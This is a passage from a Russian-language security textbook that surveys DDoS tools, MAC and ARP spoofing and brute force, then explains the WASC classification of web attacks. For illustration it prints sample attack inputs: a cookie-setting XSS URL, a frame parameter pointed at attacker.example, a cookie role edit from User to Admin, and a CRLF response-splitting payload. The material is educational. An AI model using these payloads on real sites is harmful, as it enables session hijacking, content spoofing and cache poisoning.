Как средства организации распределенных атак TFN и TFN2K относительно сложны и требуют от атакующего намного более высокой квалификации, чем в других случаях, но и практическая эффективность их намного выше.

Ярчайшим представителем средств организации DoS-атак нового поколения является Stacheldracht (дословно «колючая проволока»). Stacheldraht объединяет в себе особенности некоторых DoS-атак, в том числе TFN, шифрование связи между нападающим и главными серверами Stacheldraht и автоматическое обновление агентов. Начальный этап атаки включает активное массированное проникновение в большое количество систем для последующего использования их при атаке. Затем следует заключительный этап, в ходе которого «порабощенные» системы используются для атаки на один или несколько объектов.

Атаки IP spoofing (подмена IP-адресов) – это не разновидность DoS, но, тем не менее, атаки подобного рода широко используются, в случае если необходимо скрыть IP, что имеет место при организации любой DDoS.

Атаки MAC spoofing. Применяются для фальсификации MAC-адреса. Атака подобного рода проводится тогда, когда необходимо, чтобы машину взломщика приняли за доверенную машину, в случае если доступ закрыт посредством фильтрации MAC-адресов. Остановимся на технологии подробнее.

В пределах локальной сети каждая сетевая карта маркируется уникальным MAC-адресом – 12-значным шестнадцатеричным числом. Прежде чем отправить пакет в локальную сеть, драйвер сетевой карты определяет по IP-адресу точки назначения физический адрес сетевой карты компьютера-адресата и помечает пакет соответствующим MAC. На принимающей стороне сетевая карта, получившая пакет со своим MAC-адресом, пропускает его, направляя по цепочке "драйвер – операционная система – приложение".

Взаимодействие машин в сети на физическом уровне обслуживается протоколом ARP, который представляет собой протокол из набора протоколов TCP/IP, обеспечивающий сопоставление IP-адресов с адресами MAC для пакетов IP. В случае если машина отправляет пакет в пределах подсети, для сопоставления и привязки MAC/IP служит ARP-таблица. При отсутствии записей в ARP-таблице в ход идут данные ARP-кэша. И только в крайнем случае, когда данные нигде не найдены, осуществляется широковещательный ARP-запрос по адресу ff:ff:ff:ff:ff:ff (значит, всем).

Особенности протокола ARP таковы, что возможна практически беспрепятственная подмена истинных соответствий в ARP-хэше. Для этого может быть использовано специализированное программное обеспечение вроде SMAC или MAC SPOOFER 2006 (рис. 1.6).

Рис. 1.6. Программа MAC SPOOFER в действии

Password attacks (атаки для взлома паролей) могут использовать различные методы: лобовая атака, или Brute Force – так называемый грубый перебор паролей. «Брутфорс» – атаки имеют место в том случае, если существует потенциальная возможность множественных попыток аутентификации: электронные ящики, учетные записи FTP, SAM-файлы, PWL-файлы, UIN и т. д. В ходе атаки последовательно перебираются все возможные комбинации символов, сочетание которых может оказаться верным. Процесс такого перебора автоматизирован и осуществляется с помощью специализированного программного обеспечения.

Packet sniffers – приложение, которое использует сетевой адаптер в «беспорядочном режиме» (когда сетевой адаптер посылает на обработку все пакеты, физически полученные по сети), чтобы захватить все сетевые пакеты, посланные через определенный домен. Снифферы пакетов используются легально в сетях для анализа трафика и поиска неисправностей. Однако, так как некоторые сетевые приложения посылают данные открытым текстом (telnet, FTP, SMTP, POP3 и т. д.), сниффинг пакетов может предоставить даже критически важную информацию, например имена пользователей и пароли.

Многие из читателей наверняка обратили свое внимание на то, какую важную роль в анализе рисков (см. разд. 1.2) играет такой фактор, как угроза. В этой связи будет более чем уместно ознакомиться с перечнем типичных угроз, которые приведены ниже. Настоящая классификация окажется полезна и подготовленным читателям, и тем, кто углубленно интересуется вопросами компьютерной безопасности.

Очередной раз выходя в Интернет и привычно набирая в браузере дорогой сердцу адрес, мы убеждаемся снова и снова, что не так уж все и плохо: апокалипсис постоянно кто-то переносит, а мы живем в мире высоких технологий, и это не может не радовать. Интернет стал для многих из нас настолько привычным, что иногда кто-нибудь да и допустит мысль о его существовании со времени сотворения мира. Между тем за кажущейся простотой и удобством стоит четкая и отлаженная работа узлов Сети. Было бы наивно полагать, что все совершенно, особенно если речь идет о вещах, сосуществующих в столь динамичной среде. Просматривая горячие двадцатки SANS, предупреждения EEYE, горячий эксклюзив от SecurityLab, убеждаешься снова и снова: безопасность есть процесс, а не состояние.

В рамках данного раздела мы поговорим с вами о безопасности веб-серверов, а точнее постараемся внести ясность и создать некое подобие современной классификации веб-угроз. Предпосылки к созданию подобной классификации очевидны. За последние несколько лет индустрия безопасности веб-приложений адаптировала немалое количество не совсем точных терминов, описывающих уязвимости. Такие названия уязвимостей, как "подделка параметров" (Parameter Tampering), "меж-сайтовое выполнение сценариев" (Cross-site Scripting) и "отравление печений" (Cookie Poisoning) (да-да, именно так), мягко говоря, не совсем точно определяют суть проблемы и возможные последствия атак. Отсутствие четкости в определениях часто вызывает проблемы и взаимонепонимание, даже если стороны согласны с основной идеей.

Когда начинающий специалист безопасности веб-приложений приступает к обучению, его быстро вводит в заблуждение отсутствие стандартного языка. Подобная ситуация не только не способствует профессиональному овладению предметом, но и замедляет понимание картины в целом. Появление классификации угроз безопасности веб-приложений является исключительно важным событием в мире IT.

По известным причинам только система знаний, а не ее разрозненный, дискретный вариант, может служить показателем высшей квалификации разработчиков приложений, специалистов в области безопасности, производителей программных продуктов. На основе классификации в дальнейшем могут быть созданы методики обследования приложений, рекомендации по разработке приложений с учетом безопасности, требования к продуктам и службам. Следующая классификация есть результат проработки различных книг, десятков статей и презентаций. У ее истоков стоит Web Application Security Consortium, представители которой создали базу для разработки и популяризации стандартной терминологии описания подобных проблем (www.webappsec.org).

Представленная классификация окажется полезной прежде всего специалистам, хотя в целом материал направлен на широкий круг читателей, интересующихся проблемами компьютерной безопасности.

Современная классификация имеет иерархическую структуру. Классы атак разбиты по пунктам (1; 2 и т. д.) с соответствующими подпунктами (1); 2) и т. д.). Название класса атаки представлено как в русском варианте, так и в английском.

1. Аутентификация (Authentication):

1) подбор (Brute Force);

2) недостаточная аутентификация (Insufficient Authentication);

3) небезопасное восстановление паролей (Weak Password Recovery Validation).

2. Авторизация (Authorization):

1) предсказуемое значение идентификатора сессии (Credential/Session Prediction);

2) недостаточная авторизация (Insufficient Authorization);

3) отсутствие тайм-аута сессии (Insufficient Session Expiration);

4) фиксация сессии (Session Fixation).

3. Атаки на клиентов (Client-side Attacks):

1) подмена содержимого (Content Spoofing);

2) межсайтовое выполнение сценариев (Cross-site Scripting, XSS);

3) расщепление HTTP-запроса (HTTP Response Splitting).

4. Выполнение кода (Command Execution):

1) переполнение буфера (Buffer Overflow);

2) атака на функции форматирования строк (Format String Attack);

3) внедрение операторов LDAP (LDAP Injection);

4) выполнение команд операционной системы (OS Commanding);

5) внедрение операторов SQL (SQL Injection);

6) внедрение серверных расширений (SSI Injection);

7) внедрение операторов XPath (XPath Injection).

5. Разглашение информации (Information Disclosure):

1) индексирование директорий (Directory Indexing);

2) идентификация приложений (Web Server/Application Fingerprinting);

3) утечка информации (Information Leakage);

4) обратный путь в директориях (Path Traversal);

5) предсказуемое расположение ресурсов (Predictable Resource Location).

6. Логические атаки (Logical Attacks):

1) злоупотребление функциональными возможностями (Abuse of Functionality);

2) отказ в обслуживании (Denial of Service);

3) недостаточное противодействие автоматизации (Insufficient Anti-automation);

4) недостаточная проверка процесса (Insufficient Process Validation).

Пункт и подчиненные ему подпункты разбиты на разделы. Класс атаки имеет краткое описание и дополняется соответствующим "живым" примером. Ну что ж, начнем по порядку.

Аутентификация

Классифицируем атаки, направленные на обход или эксплуатацию уязвимостей в механизмах реализации аутентификации веб-серверов.

Подбор (Brute Force). Подбор, или просто «брут», как его ласково любят называть хакеры, представляет собой автоматизированный процесс проб и ошибок, основной задачей которого является угадывание имени пользователя, пароля, номера кредитной карты, ключа шифрования и т. д. Многие системы позволяют использовать слабые пароли или ключи шифрования, и пользователи часто выбирают легко угадываемые или содержащиеся в словарях парольные фразы. Трагизм еще и в том, что пользователи намеренно выбирают простые пароли, так как сложные, помимо времени ввода, неудобны еще и тем, что легко забываются. Воспользовавшись данной ситуацией, злонамеренный пользователь может применить электронный словарь (что чаще всего и делается) и попытаться использовать всю мощь содержащихся в нем комбинаций символов в качестве пароля. Если сгенерированный пароль позволяет получить доступ к системе, атака считается успешной, и атакующий может использовать учетную запись.

Подобная техника проб и ошибок может быть с успехом использована для подбора ключей шифрования. В случае использования сервером ключей недостаточной длины злоумышленник может получить используемый ключ, протестировав все возможные комбинации. Существует два вида подбора: прямой и обратный. При прямом подборе используются различные варианты пароля для одного имени пользователя (например, имя пользователя – Lamer, пароли – fuck, world, qwerty, 123321…). При обратном – перебираются различные имена пользователей, а пароль остается неизменным (например, имена пользователей – User, Intel, Sara, Vaviorka…, пароль – 12345678). В системах с миллионами учетных записей вероятность использования различными пользователями одного пароля довольно высока. Несмотря на популярность и высокую эффективность, подбор может занимать несколько часов, дней или лет. Данный вид атак широко используется преимущественно там, где отсутствует блокировка в случае неверного сочетания, – это может быть простой взлом NTLM-хэшей и т. д.

Недостаточная аутентификация (Insufficient Authentication). Данная уязвимость возникает тогда, когда веб-сервер позволяет атакующему получать доступ к важной информации или функциям сервера без должной аутентификации. Атаки подобного рода очень часто реализуются посредством интерфейса администрирования через сеть. Чтобы не использовать аутентификацию, некоторые ресурсы по умолчанию «сидят в укромном месте» по определенному адресу, который не указан на основных страницах сервера или других общедоступных ресурсах.

Однако подобный подход не более чем "безопасность через сокрытие". Важно понимать, что несмотря на то что злоумышленник не знает адреса страницы, она все равно доступна через веб. Необходимый URL может быть найден путем перебора типичных файлов и директорий (таких как /admin/) с использованием сообщений об ошибках, журналов перекрестных ссылок или путем простого чтения документации. Подобные ресурсы должны быть защищены адекватно важности их содержимого и функциональных возможностей.

К примеру, многие веб-приложения по умолчанию используют для административного доступа ссылку в корневой директории сервера (/admin/). Обычно ссылка на эту страницу не фигурирует в содержимом сервера, однако страница доступна с помощью стандартного браузера. Поскольку пользователь или разработчик предполагает, что никто не воспользуется этой страницей, так как ссылки на нее отсутствуют, зачастую реализацией аутентификации пренебрегают. В результате для получения контроля над сервером злоумышленнику достаточно зайти на эту страницу.

Небезопасное восстановление паролей (Weak Password Recovery Validation).

Данная уязвимость реализуется, благодаря тому что веб-сервер позволяет атакующему несанкционированно получать, модифицировать или восстанавливать пароли других пользователей. Часто аутентификация на веб-сервере требует от пользователя запоминания пароля или парольной фразы. Строгая политика безопасности предусматривает, что только пользователь должен знать пароль, причем помнить его отчетливо. Но, как оно всегда бывает, со временем пароль забывается. Ситуация усложняется еще и тем, что у многих по несколько электронных ящиков.

Примером реализации подобной функции является использование "секретного вопроса", ответ на который указывается в процессе регистрации. Вопрос либо выбирается из списка, либо вводится самим пользователем. Еще один механизм позволяет пользователю указать "подсказку", которая поможет ему вспомнить пароль. Другие способы требуют от пользователя указать часть персональных данных – таких как номер паспорта, домашний адрес, почтовый индекс и т. д., – которые затем будут использоваться для установления личности. После того как пользователь докажет свою идентичность, система отобразит новый пароль или перешлет его по почте. Система восстановления пароля может быть скомпрометирована путем использования подбора, уязвимостей системы или из-за легко угадываемого ответа на секретный вопрос.

Многие серверы требуют от пользователя указать его электронный адрес в комбинации с домашним адресом и номером телефона. Эта информация может быть легко получена из сетевых справочников. В результате данные, используемые для проверки, не являются большим секретом. Кроме того, эта информация может быть получена злоумышленником с использованием других методов – таких как межсайтовое выполнение сценариев или фишинг. Одно из слабых звеньев, несомненно, – парольные подсказки. Сервер, использующий подсказки для облегчения запоминания паролей, может быть атакован, поскольку подсказки помогают в реализации подбора паролей. Пользователь может использовать стойкий пароль, например "27Пуаро10", с соответствующей подсказкой: "детектив". Атакующий может заключить, что пользовательский пароль состоит из даты рождения и имени любимого автора пользователя. Это помогает сформировать относительно короткий словарь для атаки путем перебора.

Авторизация

Многие сайты разрешают доступ к некоторому содержимому или функциям приложения только определенным пользователям. Доступ для других должен быть ограничен. Используя различные техники, злоумышленник может повысить свои привилегии и получить доступ к защищенным ресурсам.

Предсказуемое значение идентификатора сессии (Credential/Session Prediction).

Предсказуемое значение идентификатора сессии позволяет перехватывать сессии других пользователей. Подобные атаки выполняются путем предсказания или угадывания уникального идентификатора сессии пользователя. Эта атака, так же как и перехват сессии (Session Hijacking), в случае успеха позволяет злоумышленнику послать запрос веб-серверу с правами скомпрометированного пользователя. Дизайн многих серверов предполагает аутентификацию пользователя при первом обращении и дальнейшее отслеживание его сессии. Для этого пользователь указывает комбинацию имени и пароля. Вместо повторной передачи имени пользователя и пароля при каждой транзакции веб-сервер генерирует уникальный идентификатор, который присваивается сессии пользователя. Последующие запросы пользователя к серверу содержат идентификатор сессии как доказательство того, что аутентификация была успешно пройдена. Если атакующий может предсказать или угадать значение идентификатора другого пользователя, это может быть использовано для проведения атаки.

Так, многие серверы генерируют идентификаторы сессии, используя алгоритмы собственной разработки. Подобные алгоритмы могут просто увеличивать значение идентификатора для каждого запроса пользователя. Другой распространенный вариант – использование функции от текущего времени или других специфичных для компьютера данных. Идентификатор сессии сохраняется в cookie, скрытых полях форм или URL. Если атакующий имеет возможность определить алгоритм, используемый для генерации идентификатора сессии, он может выполнить следующие действия:

¦ подключиться к серверу, используя текущий идентификатор сессии;

¦ вычислить или подобрать следующий идентификатор сессии;

¦ присвоить полученное значение идентификатора cookie/скрытому полю формы/URL.

Недостаточная авторизация (Insufficient Authorization). Недостаточная авторизация возникает, когда веб-сервер позволяет атакующему получать доступ к важной информации или функциям, доступ к которым должен быть ограничен. Успешное прохождение аутентификации пользователем вовсе не означает, что он должен получить доступ ко всем функциям и содержимому сервера. Кроме аутентификации, должно быть реализовано разграничение доступа. Процедура авторизации определяет, какие действия может совершать пользователь, служба или приложение. Грамотно построенные правила доступа должны ограничивать действия пользователя согласно политике безопасности. Доступ к важным ресурсам сайта должен быть разрешен только администраторам.

В прошлом многие веб-серверы сохраняли важные ресурсы в скрытых директориях – таких как /admin или /Log. Если атакующий запрашивал эти ресурсы напрямую, он получал к ним доступ и мог перенастроить сервер, получить доступ к важной информации либо полностью скомпрометировать систему. Некоторые серверы после аутентификации сохраняют в cookie или скрытых полях идентификатор «роли» пользователя в рамках веб-приложения. Если разграничение доступа основывается на проверке данного параметра без верификации принадлежности к роли при каждом запросе, злоумышленник может повысить свои привилегии, просто модифицировав значение cookie. К примеру, значение cookie: Session Id = 12345678; Role = User заменяется на SessionId = 12345678; Role = Admin.

Отсутствие тайм-аута сессии (Insufficient Session Expiration). Если для идентификатора сессии или учетных данных не предусмотрен тайм-аут или его значение слишком велико, злоумышленник может воспользоваться старыми данными для авторизации. Это повышает уязвимость сервера для атак, связанных с кражей идентификационных данных. Поскольку протокол HTTP не предусматривает контроль сессии, веб-серверы обычно используют идентификаторы сессии для определения запросов пользователя. Таким образом, конфиденциальность каждого идентификатора должна быть обеспечена, чтобы предотвратить множественный доступ пользователей с одной учетной записью. Похищенный идентификатор может использоваться для доступа к данным пользователя или осуществления мошеннических транзакций. Отсутствие тайм-аута сессии увеличивает вероятность успеха различных атак. К примеру, злоумышленник может получить идентификатор сессии, используя сетевой анализатор или уязвимость типа «межсайтовое выполнение сценариев». Хотя тайм-аут не поможет, в случае если идентификатор будет использован немедленно, ограничение времени действия поможет при более поздних попытках использования идентификатора. В другой ситуации, если пользователь получает доступ к серверу с публичного компьютера (библиотека, интернет-кафе и т. д.), отсутствие тайм-аута сессии может позволить злоумышленнику воспользоваться историей браузера для просмотра страниц пользователя. Большое значение тайм-аута увеличивает шансы подбора действующего идентификатора. Кроме того, увеличение этого параметра ведет к увеличению одновременно открытых сессий, что еще больше повышает вероятность успешного подбора.

При использовании публичного компьютера, когда несколько пользователей имеют неограниченный физический доступ к машине, отсутствие тайм-аута сессии позволяет злоумышленнику просматривать страницы, посещенные другим пользователем. Если функция выхода из системы просто перенаправляет на основную страницу веб-сервера, а не завершает сессию, страницы, посещенные пользователем, могут быть просмотрены злоумышленником. Поскольку идентификатор сессии не был отмечен как недействительный, атакующий получит доступ к страницам сервера без повторной аутентификации.

Фиксация сессии (Session Fixation). Используя данный класс атак, злоумышленник присваивает идентификатору сессии пользователя заданное значение. В зависимости от функциональных возможностей сервера существует несколько способов зафиксировать значение идентификатора сессии. Для этого могут использоваться атаки типа «межсайтовое выполнение сценариев» или подготовка сайта с помощью предварительного HTTP-запроса. После фиксации значения идентификатора сессии атакующий ожидает момента, когда пользователь войдет в систему. После входа пользователя злоумышленник использует идентификатор сессии для получения доступа к системе от имени пользователя.

Существуют два механизма управления сессиями на основе идентификаторов. Первый из них – так называемый разрешающий – основан на том, что конкретный идентификатор сессии присваивается браузером. Механизмы второго типа – строгого – функционируют с идентификаторами, сгенерированными сервером. В случае разрешающих механизмов злонамеренный пользователь может выбрать любой идентификатор сессии. При условии отсутствия спецзащиты от фиксации сессии данная атака может быть использована против любого сервера, аутентифицирующего пользователей с помощью идентификатора сессии. Не секрет, что большинство веб-серверов сохраняют ID в cookie, но это значение также может присутствовать в URL или скрытом поле формы. К сожалению, системы, использующие cookie, являются наиболее уязвимыми.

Большинство известных в настоящий момент вариантов фиксации сессии направлено именно на значение cookie (кстати, не грех будет напомнить, что сохраненные пароли вашего электронного ящика, входа на персональный сайт и прочие сохраняются все в тех же пресловутых cookie, которые можно найти по адресу: and Settings\Username\Cookies). После описанного выше нетрудно догадаться, каким именно образом программы, предназначенные для шпионажа, похищают ваши конфиденциальные данные.

Рассмотрим подробно атаку, направленную на фиксацию сессии. Атака осуществляется в три этапа. На первом этапе злонамеренный пользователь устанавливает на атакуемом сервере так называемую сессию-заглушку и получает (или выбирает произвольный в зависимости от механизма) от него идентификатор. На втором этапе, собственно, и происходит фиксация сессии, когда злоумышленник передает значение идентификатора сессии-заглушки браузеру пользователя и фиксирует его идентификатор. Данный пункт реализуется посредством модификации значения cookie с помощью пресловутого XSS.

Следующим шагом атакующего является собственно подключение к сессии. Атакующий ожидает аутентификации пользователя на сервере. После захода пользователя на сайт злоумышленник подключается к серверу, используя зафиксированный идентификатор, и получает доступ к сессии пользователя. Как вы уже поняли, "гвоздем программы" является фиксация ID, которая реализуется посредством следующих действий.

¦ При наличии уязвимости типа "межсайтовое выполнение сценариев" злоумышленник получает возможность установить определенное значение cookie на стороне клиента посредством следующего кода: httр://example/<script> document.cookie="sessionid=12 34;%2 0domain=.example.dom"; </ script>.idc.

¦ Второй вариант предусматривает установку нужного значения cookie с помощью тега META. Кроме того, возможна установка cookie с использованием заголовка HTTP-ответа.

Атаки на клиентов

Следующие подпункты являются описанием атак на пользователей веб-сервера. Во время посещения сайта между пользователем и сервером устанавливаются доверительные отношения как в технологическом, так и в психологическом аспектах. Говоря простым языком, пользователь ожидает, что сайт предоставит ему легитимное безопасное содержимое. Кроме того, пользователь не ожидает атак со стороны сайта. Эксплуатируя это доверие, злоумышленник может применять различные методы для проведения атак на клиентов сервера.

Подмена содержимого (Content Spoofing). Наверное, многие из читателей встречались с выражением «дефейс сайта». Так вот, дефейс – это грубая подмена содержимого. Однако это не есть самое интересное. В отличие от дефейса, следующий способ подмены не преследует цели обескуражить посетивших сайт нецензурными выражениями. Его задачи другие. Используя определенную технику подмены содержимого, злоумышленник заставляет пользователя поверить, что страницы сгенерированы веб-сервером, а не переданы из внешнего источника. Как это происходит?

Некоторые веб-страницы создаются с использованием динамических источников HTML-кода. К примеру, расположение фрейма <frame src="http://foo. example/file.html"> может передаваться в следующем параметре URL:

httр://foo.example/page?frame_src=http://foo.example/file.html

Атакующий может заменить исходное значение параметра framesrc на frame_ src= http://attacker.example/spoof.html.

Когда будет отображаться результирующая страница, в строке адреса браузера пользователя начнет отображаться адрес сервера (foo.example), но на странице также будет присутствовать внешнее содержимое, загруженное с сервера атакующего (attacker.example), замаскированное под легальный контент. Получается довольно оригинальная ситуация. Пользователь может и не подозревать, что вводит секретные данные, становящиеся достоянием того, кто умело подделал оригинальную страницу. Задача злонамеренного пользователя, как вы уже догадались, сводится к тому, чтобы он перенаправился по специально созданной ссылке. Последняя в виде спама может быть прислана по электронной почте, системе моментального обмена сообщениями, опубликована на доске сообщений или открыта в браузере пользователя с применением межсайтового выполнения сценариев. В качестве примера реализации данной атаки с успехом подойдет создание ложного пресс-релиза. Предположим, что веб-сервер динамически генерирует фреймы на странице с пресс-релизами компании. Когда пользователь перейдет по ссылке http://foo.exampLe/pr?pg=http://foo.exampLe/pr/01012003.htmL, в его браузер загрузится страница следующего содержания (листинг 1.7).

Листинг 1.7. Код, перенаправляющий пользователя на подложную страницу

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

<FRAME NAME="pr_content" SRC=" http://foo.example/pr/01012003.html>

 </FRAMESET>

</HTML>

Приложение pr создает страницу с меню и динамически генерируемым значением тега FRAME SRC. Фрейм pr_content отображает страницу, указанную в параметре pg HTTP-запроса. Но поскольку атакующий изменил нормальный URL на значениеhttр://foo.example/pr?pg=http://attacker.example/spoofed press_release.html и сервер не проводит проверки параметра pg, результирующий HTML-код будет иметь следующий вид (листинг 1.8).

Листинг 1.8. Результирующий HTML-код

<HTML>

<FRAMESET COLS="100, *">

<FRAME NAME="pr_menu" SRC="menu.html">

<FRAME NAME="pr_content"

 SRC=" http://attacker.example/spoofed_press_release.html">

</FRAMESET>

</HTML>

В результате attacker.example будет выглядеть так, как будто это страница сервера foo.example.

Межсайтовое выполнение сценариев (Cross-site Scripting или XSS). Наличие уязвимости Cross-site Scripting позволяет атакующему передать серверу исполняемый код, который будет перенаправлен браузеру пользователя. Для написания подобного кода обычно используются HTML/JavaScript, но могут быть применены и VBScript, ActiveX, Java, Flash и др. Переданный код исполняется в контексте безопасности (или зоне безопасности) уязвимого сервера. Используя текущие привилегии, код получает возможность читать, модифицировать или передавать важные данные, доступные с помощью браузера (здесь совсем не грех будет вспомнить, что, если вы работаете с правами администратора, шансов попасться на такой крючок больше). При данном виде атаки у атакованного пользователя может быть скомпрометирована учетная запись (кража cookie), его браузер может быть перенаправлен на другой сервер или осуществлена подмена содержимого сервера. В результате тщательно спланированной атаки злоумышленник может использовать браузер жертвы для просмотра страниц сайта от имени атакуемого пользователя. Передача кода в таких случаях осуществляется через URL, в заголовках HTML-запроса (cookie, user-agent, refferer), значениях полей форм и т. д. Существует два типа атак, приводящих к межсайтовому выполнению сценариев:

¦ постоянные (сохраненные);

¦ непостоянные (отраженные).

Основным различием между ними является то, что в отраженном варианте передача кода серверу и возврат его клиенту осуществляются в рамках одного HTTP-запроса, а в сохраненном – в разных. Осуществление непостоянной атаки требует, чтобы пользователь перешел по ссылке, сформированной злоумышленником (ссылка может быть передана по электронной почте, ICQ и т. д.). В процессе загрузки сайта код, внедренный в URL или заголовки запроса, будет передан клиенту и выполнен в его браузере. Сохраненная разновидность уязвимости возникает, когда код передается серверу и сохраняется на нем на некоторый промежуток времени. Наиболее популярными целями атак в этом случае являются форумы, почта с веб-интерфейсом и чаты. Что самое интересное в данном случае? Следующее: для атаки пользователю не обязательно переходить по ссылке – достаточно посетить уязвимый сайт!

За примерами далеко ходить не приходится: многие сайты имеют доски объявлений и форумы, которые позволяют пользователям оставлять сообщения. Зарегистрированный пользователь обычно идентифицируется по номеру сессии, сохраняемому в cookie. Если атакующий оставит сообщение, содержащее код на языке JavaScript, он получит доступ к идентификатору сессии пользователя. Многие серверы предоставляют пользователям возможность поиска по содержимому сервера. Как правило, запрос передается в URL и содержится в результирующей странице. К примеру, при переходе по URL http://portaLexample/search?q="fresh beer" пользователю будет отображена страница, содержащая результаты поиска и фразу По вашему запросу fresh beer найдено 0 страниц. Если в качестве искомой фразы будет передан JavaScript-код, он выполнится в браузере пользователя.

Расщепление HTTP-запроса (HTTP Response Splitting). Для эксплуатации данной уязвимости злоумышленник должен послать серверу специальным образом сформированный запрос, ответ на который интерпретируется целью атаки как два разных ответа. Второй ответ полностью контролируется злоумышленником, что дает ему возможность подделать ответ сервера. Возможность осуществления атаки возникает, когда сервер возвращает данные, предоставленные пользователем в заголовках HTTP-ответа. Обычно это происходит при перенаправлении пользователя на другую страницу (коды HTTP 3xx) или когда данные, полученные от пользователя, сохраняются в cookie.

В первой ситуации URL-адрес, на который происходит перенаправление, является частью заголовка Location HTTP-ответа, а во втором случае значение cookie передается в заголовке Set-Cookie. Основой расщепления HTTP-запроса является внедрение символов перевода строки (CR и LF) таким образом, чтобы сформировать две HTTP-транзакции, в то время как реально будет происходить только одна. Перевод строки используется, чтобы закрыть первую (стандартную) транзакцию и сформировать вторую пару вопрос/ответ, полностью контролируемую злоумышленником и абсолютно не предусмотренную логикой приложения. В результате успешной реализации этой атаки злоумышленник может выполнить следующие действия.

¦ Межсайтовое выполнение сценариев.

¦ Модификация данных кэша сервера-посредника. Некоторые кэширующие серверы-посредники (Squid 2.4, NetCache 5.2, Apache Proxy 2.0 и ряд других) сохраняют подделанный злоумышленником ответ на жестком диске и на последующие запросы пользователей по данному адресу возвращают кэшированные данные. Это приводит к замене страниц сервера на клиентской стороне. Кроме этого, злоумышленник может переправить себе значение cookie пользователя или присвоить им определенное значение. Эта атака может быть также направлена на индивидуальный кэш браузера пользователя.

¦ Межпользовательская атака (один пользователь, одна страница, временная подмена страницы). При реализации этой атаки злоумышленник не посылает дополнительный запрос. Вместо этого используется тот факт, что некоторые серверы-посредники разделяют одно TCP-соединение с сервером между несколькими пользователями. В результате второй пользователь получает в ответ страницу, сформированную злоумышленником. Кроме подмены страницы, злоумышленник может также выполнить различные операции с cookie пользователя.

¦ Перехват страниц, содержащих пользовательские данные. В этом случае злоумышленник получает ответ сервера вместо самого пользователя. Таким образом, он может получить доступ к важной или конфиденциальной информации. Приведу пример JSP-страницы:

/redir_lang.jsp<% response.sendRedirect("/by_lang.jsp?lang="+ request.getParameter ("lang")); %>

Когда данная страница вызывается пользователем с параметром lang = English, она направляет его браузер на страницу /by_lang.jsp?lang=English. Типичный ответ сервера выглядит следующим образом (используется сервер BEA WebLogic 8.1 SP1) (листинг 1.9).

Листинг 1.9. Ответ сервера на запрос пользователя

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 12:53:28 GMT

Location: http://10.1.1.1/by_lang.jsp?lang=English

Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003

271009 with

Content-Type: text/html

Set-Cookie:

JSESSIONID=1pMRZOiOQzZiE6Y6iivsREg82pq9Bo1ape7h4YoHZ62RXj

ApqwBE! – 1251019693; path=/

Connection: Close

<html><head><title>302 Moved Temporarily</title></head>

<body bgcolor="#FFFFFF">

<p>This document you requested has moved temporarily.</p>

<p>It's now at <a

href="httр://10.1.1.1/by_lang.jsp?lang=English">httр://10.1.1.1/by_lang.jsp?lan

g=English</a>.</p>

</body></html>

При анализе ответа видно, что значение параметра lang передается в значении заголовка Location. При реализации атаки злоумышленник посылает в качестве значения lang символы перевода строки, чтобы закрыть ответ сервера и сформировать еще один:

/redir_lang.jsp?lang=foobar%0d%0aContent-

Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-

Type:%20text/html%0d%0aContent-

Length:%2019%0d%0a%0d%0a<html>Shazam</html>

При обработке этого запроса сервер передаст следующие данные (листинг 1.10).

Листинг 1.10. Ответ сервера на измененный злоумышленником запрос пользователя

HTTP/1.1 302 Moved Temporarily

Date: Wed, 24 Dec 2003 15:26:41 GMT

Location: http://10.1.1.1/by_lang.jsp?lang=foobar

Content-Length: 0

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 19

Shazam</html>

Server: WebLogic XMLX Module 8.1 SP1 Fri Jun 20 23:06:40 PDT 2003

271009 with

Content-Type: text/html

Set-Cookie:

JSESSIONID=1pwxbgHwzeaIIFyaksxqsq92Z0VULcQUcAanfK7In7IyrCST

9UsS! – 1251019693; path=/

Эти данные будут обработаны клиентом следующим образом:

¦ первый ответ с кодом 302 будет командой перенаправления;

¦ второй ответ (код 200) объемом в 19 байт будет считаться содержимым той страницы, на которую происходит перенаправление;

¦ остальные данные, согласно спецификации HTTP, игнорируются клиентом. Выполнение кода

Все серверы используют данные, переданные пользователем при обработке запросов. Часто эти данные используются при составлении команд, применяемых для генерации динамического содержимого. Если при разработке не учитываются требования безопасности, злоумышленник получает возможность модифицировать исполняемые команды. В настоящее время выделяют несколько типов атак, направленных на выполнение кода на веб-сервере.

Переполнение буфера (Buffer Overflow). Переполнение буфера на сегодняшний день является самой распространенной уязвимостью в области безопасности ПО. Первая атака с применением данной уязвимости использовалась в вирусе-черве Морриса в 1988 году. Червь, созданный студентом Корнельского университета, всего спустя пять часов после активации умудрился инфицировать около 6000 компьютеров – по сегодняшним меркам не очень много, но не будем забывать про год! Среди пострадавших – такие монстры, как Агентство Национальной безопасности и Стратегического авиационного командования США, лаборатории NASA (в частности, в вычислительном центре NASA в Хьюстоне червь попытался взять под контроль систему запуска кораблей многоразового использования Space Shuttle). Помимо прочего, червь успел насытить свои низменные гастрономические пристрастия исследовательским центром ВМС США, Калифорнийским НИИ, крупнейшими университетами страны, а также рядом военных баз, клиник и частных компаний. С тех пор количество способов реализации атак на переполнение буфера только увеличилось.

Эксплуатация переполнения буфера позволяет злоумышленнику изменить путь исполнения программы методом перезаписи данных в памяти системы. Переполнение возникает, когда объем данных превышает размер выделенного под них буфера. Когда буфер переполняется, данные переписывают другие области памяти, что приводит к возникновению ошибки. Если злоумышленник имеет возможность управлять процессом переполнения, это может вызвать ряд серьезных проблем.

Переполнение буфера может вызывать отказы в обслуживании, приводя к повреждению памяти и вызывая ошибки в программах. Более серьезные ситуации позволяют изменить путь исполнения программы и выполнить в ее контексте различные действия. Это может происходить в нескольких случаях.

Используя переполнение буфера, можно перезаписывать служебные области памяти, например адрес возврата из функций в стеке. Кроме того, при переполнении могут быть переписаны значения переменных в программе.

Переполнение буфера является наиболее распространенной проблемой в безопасности и нередко затрагивает веб-серверы. Однако атаки, эксплуатирующие эту уязвимость, используются против веб-приложений не очень часто. Причина этого кроется в том, что атакующему, как правило, необходимо проанализировать исходный код или образ программы. Поскольку атакующему приходится эксплуатировать нестандартную программу на удаленном сервере, он вынужден атаковать "вслепую", что снижает шансы на успех.

Переполнение буфера обычно возникает при создании программ на языках C и C++. Если часть сайта создана с использованием этих языков, сайт может быть уязвим для этой атаки.

